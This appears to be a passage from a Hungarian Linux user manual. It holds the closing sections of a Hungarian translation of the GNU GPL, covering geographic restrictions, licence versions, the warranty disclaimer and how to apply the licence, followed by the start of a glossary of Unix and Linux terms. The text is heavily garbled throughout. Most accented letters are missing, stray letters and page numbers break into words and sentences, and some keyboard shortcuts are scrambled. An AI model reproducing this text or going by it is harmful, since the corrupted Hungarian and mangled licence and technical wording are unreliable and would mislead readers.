kzrem kdse folytn igen nagyszm s vltozatos szoftver teru u jesztse trtnik ezen a mdon, mely nagyban fgg ennek a fettelrendszernek lland betartsn. Minden esetben a szerz /adomnyoz dnti o

4.

5.

6.

7.

554

G. A GNU GPL el, hogy m vt mely rendszer szerint teszi kzz. Ezt a dntst a jogok u felhasznlja nem befolysolhatja. Ez a szakasz pontosan szeretn tisztzni a szablyozs htralev rsznek o lehetsges kvetkezmnyeit. 8. Ha a Program terjesztse s/vagy hasznlata egyes orszgokban nem lehetsges szabadalmak vagy szer i jogokkal vdett kapcsoldsi felletek o miatt, akkor a Program szerz i jogainak eredeti tulajdonosa, aki a Prograo mot ezen szablyozs alapjn adja kzre, egy fldrajzi megktst adhat a terjesztsre, s egyes orszgokat kizrhat. Ekkor a terjeszts csak azokban az orszgokban lehetsges, amelyek nem lettek ilyen mdon kizrva. Ebben az esetben ennek a szablyozsnak kell tartalmazni az ilyen megktseket is is. 9. A Szabad Szoftver Alaptvny id nknt a dokumentum fellvizsglt ilo letve jabb vltozatait adja ki. Ezek az jabb dokumentumok az el z ek o o szellemben kszlnek, de rszletekben klnbznek, hogy j problmkat kezelhessenek. A dokumentum minden vltozata egy meghatrozott verziszmmal elltva jelenik meg. Ha a program szerz i jogi megjegyzsben egy bizoo nyos vagy annl jabb verzi van megjellve, akkor lehet sg van akr o a megjellt, vagy a Szabad Szoftver Alaptvny ltal kiadott ks bbi vero ziban lert felttelek kvetsre. Ha nincs ilyen megjellt verzi, akkor a Szabad Szoftver Alaptvny ltal valaha kibocsjtott brmelyik dokumentum alkalmazsra lehet sg van. o 10. A Programot ms szabad szoftverbe, melynek szerz i jogi szablyozsa o klnbzik a GPL-t l, akkor lehet bepteni, ha a szerz t l erre engedlyt o oo szereztnk. Abban az esetben, ha a program szerz i jogainak tulajdonosa o a Szabad Szoftver Alaptvny, akkor a Szabad Szoftver Alaptvny cmre kell rni. Az alaptvny egyes esetekben ezt engedlyezi. A dnts a kvetkez kt cl szem el tt tartsval fog megtrtnni: Megmaradjon a o o Programon alapul munkk szabad sttusa; Valamint segtse el a szofto ver jrafelhasznlst s megosztst. NINCS GARANCIAVLLALS 11. MIVEL A PROGRAM HASZNLATI JOGA DJMENTES, A PROGRAMHOZ NEM JR GARANCIA AZ IDE VONATKOZ JOGSZA BLYNAK MEGFELELOEN. AMENNYIBEN A SZERZOI JOGOK TULAJDONOSAI RSBAN MSKNT NEM NYILATKOZNAK, A PROGRAM "GY AHOGY VAN" KERL KIADSRA MINDENFLE GARANCIAVLLALS NLKL. A PROGRAMMAL KAPCSOLATBAN NINCS SEM SZRMAZTATOTT, SEM EGYB GARANCIAVLLALS, BELERTVE DE NEM KIZRLAGOSAN A FORGALOMBAHOZHATSGRA VAGY ALKALMAZHAT SGRA VONATKOZ GARANCIKAT. A PROGRAM MINOS S MUKDSBOL FAKAD SSZES KOCKZAT A GBOL FELHASZNLT TERHELI. HA A PROGRAM HIBSAN MUKDIK, A FELHASZNLNAK MAGNAK KELL VLLALNIA A JAVTSHOZ SZKSGES MINDEN KLTSGET. 555

G. A GNU GPL 12. AMENNYIBEN A HATLYOS JOGSZABLYOK, VAGY A SZER ZOI JOGOK TULAJDONOSAI RSOS MEGLLAPODSBAN MSKNT NEM RENDELKEZNEK, SEM A PROGRAM SZER ZOJE SEM MSOK, AKIK MDOSTOTTK S/VAGY TERJESZ TETTK A PROGRAMOT A FENTIEKNEK MEGFELELOEN, NEM TEHETOK FELELOSS KROKRT MELYEK LEHETNEK VLETLENEK, VAGY MEGHATROZOTT KRLMNYEK MIATT TRTNTEK (BELERTVE DE NEM KIZRLAGOSAN AZ ADATVESZTST S A HELYTELEN ADATFELDOLGOZST, VALA MINT A MS PROGRAMOKKAL VAL HIBS EGYTTMUKDST), AKKOR SEM, HA EZEN FELEK TUDATBAN VOLTAK ILYEN KROK KELETKEZSNEK LEHETOSGNEK. FELTTELEK S SZABLYOK VGE Fggelk: Hogyan alkalmazhatk ezek a szablyok egy j programra? Ha valaki egy j programot kszt s szeretn hogy az a tbbi ember szmra a lehet leginkbb hasznos legyen, annak az a legjobb mdja, hogy Szabad o Szoftverr teszi azt, megengedve brki szmra a szabad msolst s mdostst ezen szablyok alapjn. Ehhez a kvetkez megjegyzst kell csatolni a programhoz. A legbiztosabb o ezt minden egyes forrsfjl elejre berni, gy kzlve leghatsosabban a garancia visszautastst. Minden fjl ezenkvl kell, hogy tartalmazzon egy "copyright" sort s egy utalst arra helyre, ahol a teljes szveg tallhat. <Egy sor mely megadja a program nevt, s lerja, hogy mit csinl.> Copyright (C) 20yy <a szerz neve> o Ez egy szabad szoftver; terjeszthet illetve mdosthat a GNU ltalnos o Kzreadsi Felttelek dokumentumban lertak szerint 2. vagy ks bbi o verzi , melyet a Szabad Szoftver Alaptvny ad ki. Ez a program abban a remnyben kerl kzreadsra, hogy hasznos lesz, de minden egyb GARANCIA NLKL, az eladhatsgra vagy valamely clra val alkalmazhatsgra val szrmaztatott garancit is belertve. Tovbbi rszletekrt lsd a GNU ltalnos Kzreadsi Felttelek dokumentumt. A programmal egytt kellett, hogy rkezzen egy pldny a GNU ltalnos Kzreadsi Felttelek dokumentumbl is. Ha mgsem akkor ezt a Szabad Szoftver Alaptvnynak kldtt levlben jelezni kell. A szabad szoftver alaptvny cme: Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. A programhoz csatolni kell azt is, hogy miknt lehet kapcsolatba lpni a szerz vel, elektronikus vagy hagyomnyos levl kldsvel. o Ha a program interaktv, a kvetkez hz hasonl zenettel lehet ezt megtenni o a program indulsakor: Gnomovision version 69, Copyright (C) 20yy a szerz neve o A Gnomovision programhoz SEMMIFLE GARANCIA NEM JR; A rszletes tjkoztatshoz ezt kell begpelni: "show w". Ez egy szabad szoftver; bizonyos felttelek mellett terjeszthet illetve mdoo sthat. A rszletes tjkoztatshoz ezt kell begpelni: "show c". 556

G. A GNU GPL A "show w" s "show c" kpzeletbeli parancsok, s a GNU ltalnos Kzreadsi Felttelek megfelel szakaszt kell megjelentenik. Termszetesen a o valdi parancsok lehetnek a "show w" s a "show c"-t l klnbz ek is, leo o hetnek akr egrkattintsok vagy menpontok is a programnak megfelel en. o Ha szksges, meg kell szerezni (programoz esetben) a munkltattl vagy iskoltl a program szerz i jogairl val lemonds igazolst. Erre itt egy o plda: Az Adcsal BT ezennel lemond minden szerz i jogi rdekeltsgr l a "Gnoo o movision" programmal kapcsolatban, melyet Hekker Jani rt. Alrs: Maffy Joc, 1989. prilis 1. Maffy Joc, alelnk A GPL ltalnos kzreadsi felttelek dokumentuma nem engedi meg, hogy Szabad Szoftver rsze legyen szabadalommal vdett programnak. Ha a program egy eljrsknyvtr, akkor inkbb a ms programokkal val sszef zst u clszer megengedni. Ha ez a cl, akkor a GNU LGPL dokumentumot lehet u alkalmazni, mely ilyen eljrsknyvtrak kzreadst szablyozza.

557

G. A GNU GPL

558

H. fggelk

Szjegyzk
Fordtotta: Vradi Istvn s Levrdy Zoltn A szjegyzk csak UNIX s Linux specikus szavakat tartalmaz, mivel egy teljes bevezets az elektronikus adatfeldolgozsba mr tlmutat ezen a knyvn. Tisztban kell lennnk olyan kifejezsekkel pl. mint bit s bjt. Ablak Az ablakok a kperny tglalap alak rszei, amelyek ltalban kerettel o disztettek. Normlisan a keret tartalmaz dekorcikat, amelyekkel megvltoztathatjuk mrett, mozgathatjuk az ablakot s megvltoztathatjuk az ablak egyb tulajdonsgait. Hogy ablakokkal dolgozhassunk, futni kell egy X-kiszolglnak s egy ablakkezel nek. o Ablakkezel o Az ablakkezel felel s (tbbek kztt) az ablak dekorcijrt s hogy bio o zonyos funkcionalitst szolgltasson , olyanokat mint tmretezs, moz gats s ablak bezrs. Szintn O felel s opercis rendszernk kinzeto rt. Alap Linux Amikor el szr teleptnk Linuxot, akkor el szr az alap Linux kerl fel. o o Ez mg merevlemez nlkl m kdik, amely ekkor mg nem elrhet . A u o hozztartoz kernel az indt lemezen vagy a CD-ROM-on tallhat. A "root image" (amely szintn a CD-ROM-on vagy az indt lemezen van) betlt dik egy RAM lemezre. Ms programok (pl. a YaST ) szintn a o RAM lemezre tlt dnek. o Miutn el szr bejelentkeztnk, indtsuk el a YaST -ot az "igazi" Linux o teleptshez. ATAPI Az ATAPI egy olyan illeszt fellet, amellyel pl. CD-ROM-ot csatlakozo tathatunk egy (E)IDE vezrl hz. Az ATAPI eszkzkn kvl, lehetnek o SCSI CD-ROM-ok, amelyeket a SCSI vezrl kezel, illetve klnleges o CD-ROM eszkzk, amelyet a sajt krtyjuk vezrel vagy a hangkrtyhoz csatlakoznak. lnv Ez a kifejezs legtbbszr a burokkal kapcsolatban merl fel. Az lnv olyan rvidts, amely egy hossz nev s gyakran hasznlt parancsra u hivatkozik. Nzzk t a kziknyv burokrl szl szakaszt. 559

H. Szjegyzk Becsatols Angolul: mounting. Ami egy fjl-rendszer "becsatolst" (beillesztst) jelenti a rendszer knyvtrfjba. Fontos szably, hogy a becsatolsi pont (angolul: mountpoint) res knyvtr legyen, ugyanis a becsatolst kvet en a knyvtr eredeti tartalma nem hozzfrhet . Lecsatols utn o o azonban ismt hozzfrhet az eredeti tartalom. o Becsatolsi pont Angolul: mountpoint, a knyvtrnak az a pontja, ahova egy partcit vagy egyb eszkzt becsatolunk. Betusz A rvidtseket leggyakrabban bet szavaknak hvjk. A Linux, az FTP u s a GNU jl ismert bet szavak. u BIOS Basic Input Output System Minden szemlyi szmtgp (PC) tartalmaz egy kicsiny memriaterletet, amely a BIOS-t tartalmazza. Ez egy olyan programrendszer, amely az olyan alapvet m veleteket hajtja vgre, mint a memria ellen rzse o u o s a merevlemezek felismerse. Linux alatt a BIOS nem aktv, mivel vals mdban fut. A kernel indulskor kikapcsolja azt. A Linux kernel sokkal hatkonyabb kpessgekkel rendelkezik, mint a BIOS. Biztonsgi ments Rendszeresen kell, hogy kszljenek biztonsgi mentsek, klnsen a fontos fjlokrl! Bizonyos bellt llomnyokat hosszadalmas elksz teni, ezrt rdemes elmenteni oket. Linux alatt az egyik ment parancs a o tar. Ezzel elmenthetjk a fjlokat egy eszkzre vagy fjlba. Gyakran a gzip-pel egytt hasznljuk. CD-ROM meghajt Tbbfajta CD-ROM meghajt ltezik. Manapsg a legelterjedtebbek az ATAPI eszkzk, amelyek (E)IDE merevlemezvezrl hz csatlakozo nak. Ezeken az eszkzkn kvl ltezik mg: SCSI CD-ROM meghajt, amely egy SCSI host vezrl n keresztl o csatlakozik, olyan CD-ROM meghajt, amely a prhuzamos portra csatlakozik, s sajtos CD-ROM meghajtk, amelyek specilis illeszt krtyval vagy o hangkrtyval m kdnek. u Specilis meghajtkat csak az utols esetben szksges kivlasztani! Cs o Lsd cs vezetk. o Cs vezetk o A cs vezetk jelentse, egy program szabvny kimenett sszektni egy o utd feladat (standard in/out) szabvny bemenetvel processz. Ezzel elkerljk az ideiglenes fjlok rst, tovbbi feldolgozsra. Shell mdban, a feladatokat amiket "csveznk (piped)" , egyms utn adjuk meg, s egy | (ASCII 124) jellel vlasztjuk el egymstl. DDC display data channel A "Kijelz Adat Csatorna (Display Data Channel)" egy eljrs, amivel a o 560

H. Szjegyzk szmtgp hozzjuthat a monitor tulajdonsgaihoz (properties). Ehhez a norml VGA kbel kt vezetkt hasznlja, amin az informcit sorosan tovbbtja. Ez azt jelenti, hogy egy norml VGA kbelt kell hasznlnunk 15 t vel mindkt vgn, s nem hasznlhatunk BNC kbelt DDC-vel u prostva. Dmon A dmon (angolul daemon, Dist and execution monitor) egy olyan program amely felgyel a httrben, s csak akkor lp akciba ha szksges. Ilyen dmonok vlaszolnak az FTP vagy HTTP krsekre, vagy pldul ellen rzik a PC-Card (PCMCIA) illeszt k tevkenysgt. o o Drtposta Lsd e-mail. Dzskerek Lsd helyettest karakterek. o E-mail elektronikus levl Elektronikusan tovbbtott levelet jelent, regisztrlt felhasznlk kztt tetsz leges hlzaton. Hasonl a "hagyomnyos" levlhez (amely o gyakran csak "csigapostaknt" emlegetett), a cmeket "felad@feladtartomnya" s "cmzett@cmzett-tartomnya" alakban kell megadni. E-mail-ben nem csak szveget kldhetnk, hanem hangot vagy kpet is. Sok el nye van az e-mail-nek. Meglehet sen olcs, s a kzbests ltao o lban perceken bell megtrtnik. Elrsi t Lsd keressi t. ELF Executable and Linking Format A Linux szabvnyos binris fjlformtuma az ELF. Ezzel a formtummal knnyebb "osztott knyvtrakat" kszteni, mint a rgi a.out formtummal. Httrinformcirt olvassuk el a /usr/doc/howto/hu/ELF-HOGYAN.gz llomnyt. Eszkz Az eszkzket Linux alatt specilis fjlrendszerbeli bejegyzsekkel lehet elrni, melyek a /dev knyvtrban tallhatk. A bejegyzsek tartalmazzk az eszkzk szmt, ami alapjn a kernel el tudja rni az eszkzmeghajtkat. Ethernet Szleskrben alkalmazott helyi hlzati (angolul LAN, Local Area Network) busz hardver. Eredetileg 10 Megabites sebessg rhet el koaxilis o kbelen, manapsg sodrott rpron (angolul "twisted pair", UTP: unshielded twisted pair) 100 Megabites tvitel is elrhet csillag topolgiban. o EXT2 second extended lesystem A Linux alapvet fjlrendszere az Ext2. Hasznlatval lehet sg nylik o o nagy tereszt kpessgre, hossz fjl nevekre, jogosultsgokra, s hibao t rsre. u Fjl Linuxon, a fjl a kzponti adatkezelsi fogalom. Hasonlan ms rendsze561

H. Szjegyzk rekhez, fjlokon keresztl rhatunk adatokat a httrtrakra. A fjl nevnek egyedinek kell lennie az azt tartalmaz knyvtrban. A fjlrendszer eredmnyekppen, a fjlok hierachikusan szervezettek. Lsd a szszedet ms "fjl" trgy bejegyzseit. Kiegsztskppen, Linuxon van nhny specilis fjl. Lsd lnc,  eszkz s proc-fjlrendszer. Fjlrendszer A fjlrendszer hatrozza meg a fjlok szerkezett. Tbb klnbz fjlo rendszer ltezik (nmelyik nagyon klns) teljestmny s hatkonysg tekintetben. Egyes fjlrendszerek er sen kt dnek valamely mdiumo o hoz. Nem mondhatjuk azt, hogy a "Linux az X fjlrendszert hasznlja". Feladat Angolul "process". A feladat egy program vagy egy vgrehajthat fjl "l " vltozata (lsd burok). Gyakran emltik task, job, processz, vagy o process nven is. Fkusz X alatt egy vezrl elem, mint a terminl parancssora, rendelkezik az o aktulis bevitel fkuszval. ltalnossgban a kurzorhoz kt dik a fo kusz. Azt az eljrst, ahogy egy ablakkezel kezeli a fkuszt, szoks o fkusz-elvnek nevezni. Meg kell klnbztetni azt a fkuszt, amely az egeret kveti s azt, amely kattintskor jn ltre. F memria o Gyakran csak RAM-knt emlegetett (angolul: Random Access Memory, Vletlen elrs memria), amely nagyon gyors a merevlemezzel sszu hasonltva. Linuxon, ez a tpus memria gyakran zikai memriaknt kerl emltsre. Futsszint Egy futsszint a rendszer el re meghatrozott llapott rja le. A rendo szer klnbz kppen viselkedik klnbz futsszinteken. Van egy fuo o tsszint a rendszer adminisztrtornak (S), valamint egy futsszint a GUIra az X Kijelz Kezel nek (xdm: 3). o o FTP le transfer protocol UNIX-on az FTP jelenti a fjlok szlltst egyik gpr l a msikra (fjl o tviteli protokoll). Egyik oldalon az FTP kiszolgl (az a gp, amely a fjlokat kldi) van, mg a msikon az FTP gyfl (amely a fjlokat fogadja). GNU A GNU jelentse "GNU az nem Unix" s a Szabad Szoftver Alaptvny (Free Software Foundation (FSF)) projektje. A "GNU Projekt" clja, ami R ICHARD S TALLMAN (RMS) nevvel szorosan sszekapcsoldott, hogy ltrehozzon egy Unixszal kompatibilis "szabad" opercis rendszert; a "szabad" itt nem annyira azt jelenti, hogy kltsgmentes (free of cost) inkbb szabad abban az rtelemben, hogy szabadon jogunk van a hasznlathoz, birtoklshoz, s szabad hozzfrsnk van a szoftver mdostshoz is. A forrskd szabad hozzfrsnek rdekben a programkd minden esetben garantlt, de minden mdostsnak szintn sza562

H. Szjegyzk badon hozzfrhet nek kell lennie: klnsen az egyes szoftverek nem o veszlyeztethetik ennek a szabadsgnak az rzett a program kdok mdostsval vagy hozzadsval. Azt, hogy ezt miknt kell garantlni, tbb oldalrl megmagyarzza a klasszikus GNU Kiltvny (Manifesto) (http://www.gnu.org/gnu/manifesto.html); A GNU szoftvert a GNU ltalnos Kzreadsi Felttel (General Public License), vagy rviden "GPL" vdi jogilag (http://www.gnu.org/copyleft/gpl.html, lsd a G . fejezetben (551. oldal).) s a GNU Lesser General Public License-ben1 , rviden: "LGPL" (http://www.gnu.org/copyleft/lgpl.html). A "GNU Projekt"-tel kapcsolatban, minden Unix help programot jra tdolgoztak, azokat tbb s sszetettebb m kd kpessggel ruhztk fel. u o Mg olyan komplex szoftverrendszerek is, mint (pl. az Emacs vagy a glibc) is szerves rszei a "Projekt"-nek. A Linux rendszermag, ami a GPL trgya, hasznosul is ebb l a "Proo jekt"b l (klnsen az eszkzkb l (tools)), de nem szabad azzal azoo o nosnak tekintennk. Grakus felhasznli fellet A GUI (Grakus felhasznli fellet, angolul: Graphical User Interface) a norml asztal grakus megjelentse. Minthogy az rasztalon is elhelyeznk klnbz paprokat, itt ezeket "a paprokat" ablakoknak nevezo zk. Annyi ablakot tehetnk az asztalra , amennyit csak akarunk. Minden egyedi feladat nll ablakban fut. ltalban egrrel, trackballal vagy valamilyen mutat eszkzzel szoks vezrelni a GUI-t. Nhny jl ismert GUI: X Window System, Apple Macintosh System 7 , Digital Research GEM , s az MS-Windows. Hlzat A hlzat a tnyleges kapcsolat klnbz szmtgpek kztt. Klno bz topolgik vannak, annak fggvnyben, hogy a gpek miknt kapo csoldnak, gymint gy r , csillag, sn vagy fa. Jl ismert hlzati hardver uu szabvnyok az Ethernet, Token Ring s az ISDN. A TCP, UDP s IPX (klnbz rtegeken) nhny tipikus hlzati szoftver protokoll. o Hlzati fjlrendszer Network le system (NFS) Olyan protokoll, amelyen keresztl el lehet rni hlzatba kapcsolt gpek fjlrendszert. Kiszolgl oldalon a /etc/exports belltfjl alapjn ismeri fel, hogy mely gpek rhetik el a knyvtrfa bizonyos rszeit. A kliens "csatlakoztathatja" ezeket a knyvtrakat a sajt knyvtrfjba (lsd csatols). Httrfolyamat Ha a burok nyilvnvalan csak egy folyamattal foglalkozik, akkor ezt hvjuk el trben fut folyamatnak. A legtbb burok megengedi, hogy o httrben is futtassunk folyamatokat. Ha httrben kvnunk futtatni egy folyamatot, akkor tegynk egy & jelet a parancs utn. Egy multitaszk opercis rendszert l, mint amilyen o a Linux is, elvrhat, hogy httrben futtasson folyamatokat.
1

korbban "GNU Library General Public License" nven volt ismert.

563

H. Szjegyzk Httrtrol mdium Angolul: Mass storage media. Klnbz adattrol mdiumok gy jteo u mnye. Tipikus httrtrol mdiumok: hajlkonylemez (oppy), merevlemez, szalagos trolk, CD-ROM-ok, Magnetooptikai lemezek, holograkus mdiumok s sok ms. Helyettest karakterek o A * s a ? ltalnos helyettest szimblumok (dzskerek, mint a o krtyajtkokban, angolul jokers ill. wildcards). A ? pontosan egy, de tetsz leges karakter helyettestst jelenti, amg a * korltlan szm s o brmilyen karakter helyettestst jelenti, mg a semmilyen karaktert is. Pldul: az ls -l kp* kilistz minden olyan fjlt az aktulis knyvtrban, amely "kp"-el kezd dik s brmilyen s brmennyi karakterrel o vgz dik, esetleg magt a kp-et is. o Hivatkozs Lsd lnc. Indts Indts az a folyamat, amely a szmtgp bekapcsolsa, s a rendszer kszenlti llapotba kerlse kztt telik el. Linux alatt ez maga utn vonja a kernel betltst, melynek indulst az "uncompressing linux..." zenet jelzi s amely a login: bejelentkezsi prompt-tal r vget. Inode Az Ext2 fjlrendszer inode-ok segtsgvel szervezi a fjlok informciit. Egy inode tartalmazza a fjl tulajdonost, jogosultsgot, vltoztats idejt stb. Az i-bg kifejezst a Kernighan-Pike fle UNIX knyvben hasznltk el szr. o Inode density Az "Inode s r sg (density)" egy meghatrozott partcin vrhat tlagos uu fjl mret becslsb l szrmazik. ltalnos szably, hogy az alap YaST o belltsok nagyon jl megfelelnek hatsos m kdsre, emiatt u legtbbszr gy hagyhat, ahogy van. Ez az elgondols mindig megzavarja az j Linuxosokat, mivel a s r sg (density) magas (high) ha az uu rtk-et az tlagos fjl mrethez kicsi-re lltjuk, mivel ekkor tbb fjlt menthetnk el, mindegyiknek kell egy inode. Interfsz ltalnossgban, az interfsz egy olyan eszkz, amelyen keresztl klnbz rendszerek informcit cserlhetnek valamilyen mdon. Pldakpo pen a billenty zet egy olyan interfsz, amelyet az ember s a gp is rt. u Ez meglehet sen elvont. Nmely ms interfsz sokkal konkrtabb: o Hardver interfsz: perifrilis eszkzket kt ssze, mint pl. a prhuzamos port (nyomtat), SCSI vagy soros interfsz. Szoftver interfsz: meghatrozza, hogy egy programnak hogyan kell kommuniklnia. Lsd protokoll. Felhasznli interfsz: meghatrozza, hogy a gp s a felhasznl, milyen mdon cserl adatot billenty zet, egr vagy monitor segtsgvel. u 564

H. Szjegyzk Internet Az Internet egy vilgmret heterogn hlzat (ebben tbb klnbz u o szmtgp tallhat). A gpek egyedi IP cmk (IP = Internet Protokoll) alapjn rik el egymst. Az IP cmek hierarchikus felpts ek. Legu fell a nemzeti s fels szint tartomnyok vannak (.com, .org, .hu), ezt o u kveti a tnyleges tartomny (suse, index, ...), majd az altartomnyok s a gpek egyedi cme. Az IP cmek numerikusak (mint a 192.168.0.1), hasznlatukat leegyszer sik az lnevek (atlantisz.liget). Nemcsak u a hardver rtegre, amely fenntartja s futtatja az Internetet, hanem protokoll rendszer szinten is (pl. FTP, HTTP, TCP), amelyek klnbz logikai o szinteken m kdnek. Az Internet jl ismert szolgltatsai: az email s u a WWW (vilgmret hl, angolul World Wide Web vagy W3). u Az Interneten val kommunikci kzben lnyeges, hogy betartsuk a "Netikettet" (a hlzat etikettjt, angolul: Netiquette), amely arra bztatja az embereket, hogy legyenek udvariasak s ezltal grdlkenyebben fog menni minden. Internet Szolgltat Internet Service Provider Az internetelrst szolgltat cg vagy szemly (AOL, MatvNET, Axelero, Externet, stb.). IP cm Ez jelenleg egy 32 bites numerikus internet cm, ltalban decimlis jellsben, ngy szm pontokkal elvlasztva (pl. 192.168.10.1), amely egyedileg lerja s csatlakoztatja a gpet a hlzathoz. Ha egy gp tbb hlzati kapcsolatot tartalmaz (tjr), akkor tbb IP cmmel is rendelkezik. ISP Angolul: Internet Service Provider, lsd Internet szolgltat. Job Angol, lsd feladat. Jogosultsg A felhasznli nv s a jelsz egyttese. ltalban a felhasznli jogo sultsgot a rendszergazda kszti. O rendelheti a felhasznlt csoportokhoz, mely az engedlyeket eredmnyezi. A felhasznli jogosultsg ksztsekor meghatrozzk a magnknyvtrat s az email kzbestst. Kapcsol switch Kapcsolkkal lehet megvltoztatni a programok alaprtelmezett viselkedst. A gyakran emlegetett parancssor a program nevb l, s az (opo cionlis) kapcsolkbl ll. Kapocs Lsd lnc. Kernel A kernel az egsz rendszer "szve". Minden klnbz szl a kernelre o vezethet vissza: memria foglals, folyamattblk kezelse, a tbbo feladatsg s tbb-felhasznlsg kezelse, fjlrendszerek elrsnek kezelse, meghajt programok kezelse, hogy elrjnk specilis hardve565

H. Szjegyzk relemeket. Ezek a kpessgek a "modulokkal" valsthatk meg; lsd a 13 . fejezetben (375. oldal). Kziknyv lapok Lsd manul oldalak. Kijells A kijells (selection), az X Szerver egy mechanizmusa. Kijellhetnk szveges karaktereket az egrrel, gy hogy elmegynk felette, mialatt a baloldali gombjt lenyomva tartjuk. Bemsolni egy msik alkalmazsba gy tudjuk, hogy a kurzort a megfelel ablakba visszk s megnyomjuk a o kzps egrgombot. Ezt hvjuk gy, hogy "fogd s vidd (cut and paste)" o mdszer. Konzol Hajdan, a terminl szinonmja volt. Linuxon virtulis konzolok vannak. Ezltal egy kperny t hasznlhatunk tbb fggetlenl fut folyamathoz. o A szabvnyos 2-es futsszinten 6 virtulis konzol rhet el az o Alt + ol terjed billenty kombincikkal. Ha az X WinF1 -t Alt + F6 -ig o u dow rendszer fut, akkor a Ctrl + Alt ol + F1 -t Ctrl + Alt + F6 -ig terjed billenty kkel rhetjk el a szveges konzolokat. . . o u Knyvtrak A fjlrendszer felptse: fjlok s knyvtrak, klnbz knyvto rakba sorolva. Mivel knyvtrakon bell tovbbi alknyvtrak lehetnek, ezrt gy egyben az egszet knyvtrfnak nevezzk. Ha egy msik knyvtrat akarunk megnzni, akkor oda kell vltanunk. A fjlokat a knyvtrfa leveleihez lehet hasonltani, amelyek (nem tl logikusan) nem tartalmaznak tovbbi alknyvtrakat (gakat). A knyvtrakra ugyanazok a megktsek vannak mint a fjlokra. Kt specilis knyvtr van: a ., amely a knyvtrra nmagra mutat, s a .. amely a szl knyvtrra mutat. o Krnyezet A burok rendszerint szolgltat egy krnyezetet, amely id szakosan to rolja a programok elrsi tjt, a felhasznl nevt, az aktulis keressi utat, a prompt megjelentst, stb. Ezek az adatok krnyezeti vltozkban troldnak. Ezek a vltozk pldul megadhatk a burok bellt fjljban is. Krnyezeti vltoz Egy trolhely a burok krnyezetben. Minden vltoznak van neve (ltalban nagybet kkel rva) s rtke (mint pl. az elrsi tvonal). Ha u bash burkot hasznlunk, akkor az albbi mdon llthatunk be egy vltozt: root@meggyfa:/ > export EDITOR=emacs A krnyezet tartalmazza a vltozk listjt. Ha szksgnk van egy vltozra (egy burok szkriptben pldul), azt a nv elejn lv $ jellel klno bztethetjk meg. Fontosabb krnyezeti vltozk: HOME (a felhasznl magn knyvtrnak elrsi tja), SHELL (burok neve, s elrsi tja), USER (a felhasznl neve), PATH (a vgrehajthat fjlok elrsi tvonala), MANPATH (kziknyvoldalak elrsi tvonala). 566

H. Szjegyzk Kts Lsd lnc. Kzpontiegysg Central Processing Unit Lsd kzpontiegysg. Kurzor A kurzor legtbbszr egy tglalap alak karakter, amely azt mutatja, hogy honnan folytatdik a bevitel a kperny n. Linuxon az albbi sszefggso ben beszlhetnk err l a kifejezsr l: o o Burok/szerkeszt : egy tglalap alak folt vagy villdz vonal mutatja, o hogy hol lesz a kvetkez bejegyzs. Burokban a kurzorra hasznljk o mg a prompt kifejezst is. Egrkurzor X alatt: httrt l fgg en vltozik az alakja. Pl. az xtermo o ben nyl alak, a gykrablakban X alak, vagy I alak a szerkeszt o alkalmazsokban. GPM kurzor (konzol): egy tglalap alak karakter, amelyet az egrrel lehet pozcionlni. Felhasznlsa: msols, kivgs vagy beilleszts (lsd kivlaszts). LAN local area network A LAN egy helyi hlzat, amely ltalban elgg kicsi, s egy ember felgyeli, a rendszergazda. A LAN-ok gyakran csatlakoznak ms LANokhoz "tjrn" (gateway) keresztl, s gy kialaktanak egy WAN-t. Laza-lnc Lsd lnc. Lnc Angolul: link. A "lnc" egy olyan knyvtrbejegyzs, amely egy msik fjlra mutat. A lnc nmagban nem tartalmaz semmilyen adatot. Megklnbztetnk: Szimblikus lncot (angolul: symbolic links), amelyek nv mutatt tartalmaznak. Itt lnyegtelen hogy a cl fjl ltezik-e, vagy hogy ez egy fjlra vagy knyvtrra hivatkozik, vagy egy msik fjlrendszer fjljra. Kemny lncot (angolul: hardlinks), amelyek I-node mutatk. Kemnylncok csak az adott fjlrendszeren belli msik fjlra hivatkozhatnak s a cl nem lehet knyvtr. Tovbb a kemnylncok azonos besorolsak (az adat mindaddig megmarad amg az utols lnc is trlsre nem kerl). Lncszem Lsd lnc. Legf bb betlt rekord o o Lsd MBR. Link Angol, lsd lnc. Linux Nagy teljestmny UNIX-szer opercis rendszer, ami a GPL (GNU) u u szerint szabadon terjeszthet . A nv egy mozaiksz bet sz ("Linus o u uniX") s megalkotjra, L INUS T ORVALDS-ra utal. 567

H. Szjegyzk Man-lapok Lsd manul oldalak. Manul oldalak Hagyomnyosan a Unix rendszerek dokumentcija a "kziknyvlapokon" (angolul: manpages) alapul, amelyeket a man paranccsal lehet olvasni. Ha tbbet akarunk megtudni a manul oldalakkal kapcsolatban, akkor nzzk meg a 19.9 . fejezetben (505. oldal) lertakat. Mass storage media Angol, lsd httrtrol mdium. Master Boot Record Lsd MBR. MBR master boot record A legf bb betlt rekord (angolul: Master Boot Record). Az els zio o o kai szektor (0-s cilinder, 0-s fej, els szektora) az els merevlemezen. o o (Az els merevlemez a BIOS-ban 0x80-as szmmal); minden merevleo mez tartalmaz MBR-t, de nem minden BIOS kpes elindtani opercis rendszert minden merevlemezr l. Amikor merevlemezr l indul a rendo o szer, akkor a BIOS betlti az MBR tartalmt egy x memria cmre, s tadja ennek az irnytst. Ez a kd tlti be az opercis rendszert az indthat merevlemez partcirl, vagy betlt egy komplex rendszerindtt (angolul: boot loader), mint pl. a LILO . Memria A gp agya a memria. Linuxon, gyakran kt klnbz memria tpust o emlegetnk: Fizikai memria, angolul Phisical memory. Nhny memria ramkrt (RAM chip) jelent. A mrete vltoz, mai PC-kben tipikusan 64 MB 256 MB. Nagy teljestmny szmtgpekben, elrheti akr az 1 GBu ot vagy mg tbbet is. Az adatok a RAM-ban gyorsan elrhet k. o Virtulis memria:, angolul Virtual memory. A rendszer a merevlemez egy meghatrozott rszt kpes lapoz memrinak hasznlni, ezrt virtulis. Memria Lsd f memria. o Men Grakus felhasznli felleten, az alkalmazsok funkcii s cselekedetei menb l is elrhet k. A menk felajnljk az sszes lehetsges o o parancsot s opcit (hasonlan mint egy tteremben), gy vlaszthatunk ezekb l. ltalban a mensor tartalmaz lenyl (drop-down) almenket. o Tovbb lteznek el bukkan (popup) menk, amelyek egy billenty vel, o u vagy egy egr kattintssal aktivlhatk. MIME "Formzott fjlok tovbbtsra szolgl drtposta szabvny kiegszts", angolul: "Multipurpose Internet Mail Extensions". Eredetileg az E-Mail opciit szndkozott kiegszteni (pl. kp s hang hozzadsa), de a technolgia tbb egyb dologra is hasznlhat. 568

